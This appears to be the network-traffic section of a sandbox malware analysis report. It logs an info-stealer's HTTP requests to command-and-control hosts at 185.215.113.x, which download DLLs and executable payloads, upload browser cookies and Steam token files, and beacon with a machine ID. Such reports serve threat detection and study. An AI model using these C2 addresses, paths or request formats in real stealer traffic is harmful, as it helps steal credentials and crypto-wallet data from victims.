53 42
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BAFBFCBGHDGCFHJJECAFHost: 185.215.113.206Content-Length: 427Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 59 32 39 76 61 32 6c 6c 63 31 78 48 62 32 39 6e 62 47 55 67 51 32 68 79 62 32 31 6c 58 30 52 6c 5a 6d 46 31 62 48 51 75 64 48 68 30 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 65 79 4a 70 5a 43 49 36 4d 53 77 69 63 6d 56 7a 64 57 78 30 49 6a 70 37 49 6d 4e 76 62 32 74 70 5a 58 4d 69 4f 6c 74 64 66 58 30 3d 0d 0a 2d 2d 2d 2d 2d 2d 42 41 46 42 46 43 42 47 48 44 47 43 46 48 4a 4a 45 43 41 46 2d 2d 0d 0a Data Ascii: ------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="file_name"Y29va2llc1xHb29nbGUgQ2hyb21lX0RlZmF1bHQudHh0------BAFBFCBGHDGCFHJJECAFContent-Disposition: form-data; name="file"eyJpZCI6MSwicmVzdWx0Ijp7ImNvb2tpZXMiOltdfX0=------BAFBFCBGHDGCFHJJECAF--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBFCBGCGIJKJKECAKEGCHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 44 42 46 43 42 47 43 47 49 4a 4b 4a 4b 45 43 41 4b 45 47 43 2d 2d 0d 0a Data Ascii: ------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------DBFCBGCGIJKJKECAKEGCContent-Disposition: form-data; name="file"------DBFCBGCGIJKJKECAKEGC--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BFIIIDAFBFBKECBGDBGIHost: 185.215.113.206Content-Length: 3087Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JKECGDBFCBKFIDHIDHDHHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 32 31 71 62 47 78 74 65 57 31 73 59 6e 70 78 4c 6e 42 33 5a 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 4b 45 43 47 44 42 46 43 42 4b 46 49 44 48 49 44 48 44 48 2d 2d 0d 0a Data Ascii: ------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="file_name"c21qbGxteW1sYnpxLnB3ZA==------JKECGDBFCBKFIDHIDHDHContent-Disposition: form-data; name="file"------JKECGDBFCBKFIDHIDHDH--
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /68b591d6548ec281/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----KKECFIEBGCAKJKECGCFIHost: 185.215.113.206Content-Length: 1067Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DHCBGDHIEBFHCBFHDHDHHost: 185.215.113.206Content-Length: 267Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 61 6c 6c 65 74 73 0d 0a 2d 2d 2d 2d 2d 2d 44 48 43 42 47 44 48 49 45 42 46 48 43 42 46 48 44 48 44 48 2d 2d 0d 0a Data Ascii: ------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------DHCBGDHIEBFHCBFHDHDHContent-Disposition: form-data; name="message"wallets------DHCBGDHIEBFHCBFHDHDH--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGIDBKKKKKFBGDGDHIDBHost: 185.215.113.206Content-Length: 265Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 42 47 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 2d 2d 0d 0a Data Ascii: ------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------BGIDBKKKKKFBGDGDHIDBContent-Disposition: form-data; name="message"files------BGIDBKKKKKFBGDGDHIDB--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JEGHCBAFBFHIIECBKFCGHost: 185.215.113.206Content-Length: 363Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d 2d 4a 45 47 48 43 42 41 46 42 46 48 49 49 45 43 42 4b 46 43 47 2d 2d 0d 0a Data Ascii: ------JEGHCBAFBFHIIECBKFCGContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------JEGHCBAFBFHIIECBKFCGContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------JEGHCBAFBFHIIECBKFCGContent-Disposition: form-data; name="file"------JEGHCBAFBFHIIECBKFCG--
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----EHCGIJDHDGDBGDGCGCFHHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 43 47 49 4a 44 48 44 47 44 42 47 44 47 43 47 43 46 48 2d 2d 0d 0a Data Ascii: ------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------EHCGIJDHDGDBGDGCGCFHContent-Disposition: form-data; name="message"ybncbhylepme------EHCGIJDHDGDBGDGCGCFH--
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Host: 185.215.113.16Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BGDAAKJJDAAKFHJKJKFCHost: 185.215.113.206Content-Length: 272Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 35 61 35 39 65 39 61 36 64 30 63 65 38 37 65 39 63 38 35 39 30 33 64 62 63 62 30 32 37 37 31 34 30 35 36 35 36 66 32 36 32 33 35 62 63 36 35 33 62 61 61 62 35 30 36 65 33 39 65 31 31 33 39 66 38 65 34 62 35 36 64 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 77 6b 6b 6a 71 61 69 61 78 6b 68 62 0d 0a 2d 2d 2d 2d 2d 2d 42 47 44 41 41 4b 4a 4a 44 41 41 4b 46 48 4a 4b 4a 4b 46 43 2d 2d 0d 0a Data Ascii: ------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="token"5a59e9a6d0ce87e9c85903dbcb02771405656f26235bc653baab506e39e1139f8e4b56db------BGDAAKJJDAAKFHJKJKFCContent-Disposition: form-data; name="message"wkkjqaiaxkhb------BGDAAKJJDAAKFHJKJKFC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 36 39 35 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005695001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Tue, 12 Nov 2024 05:07:27 GMTIf-None-Match: "6732e28f-1bb600"
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----AEHIJDAFBKFHIDGCFBFCHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 30 45 43 33 35 30 44 46 31 46 31 36 32 32 33 37 39 37 30 33 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 2d 2d 0d 0a Data Ascii: ------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="hwid"A00EC350DF1F1622379703------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="build"mars------AEHIJDAFBKFHIDGCFBFC--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 36 39 36 30 33 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005696031&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /off/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 35 36 39 37 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1005697001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----DBKKFHIEGDHJKECAAKKEHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 30 45 43 33 35 30 44 46 31 46 31 36 32 32 33 37 39 37 30 33 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 44 42 4b 4b 46 48 49 45 47 44 48 4a 4b 45 43 41 41 4b 4b 45 2d 2d 0d 0a Data Ascii: ------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="hwid"A00EC350DF1F1622379703------DBKKFHIEGDHJKECAAKKEContent-Disposition: form-data; name="build"mars------DBKKFHIEGDHJKECAAKKE--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2675B55B82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /c4becf79229cb002.php HTTP/1.1Content-Type: multipart/form-data; boundary=----BKKFCFBKFCFBFIDGCGDHHost: 185.215.113.206Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 42 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 41 30 30 45 43 33 35 30 44 46 31 46 31 36 32 32 33 37 39 37 30 33 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 42 4b 4b 46 43 46 42 4b 46 43 46 42 46 49 44 47 43 47 44 48 2d 2d 0d 0a Data Ascii: ------BKKFCFBKFCFBFIDGCGDHContent-Disposition: form-data; name="hwid"A00EC350DF1F1622379703------BKKFCFBKFCFBFIDGCGDHContent-Disposition: form-data; name="build"mars------BKKFCFBKFCFBFIDGCGDH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 36 37 35 42 35 35 42 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: 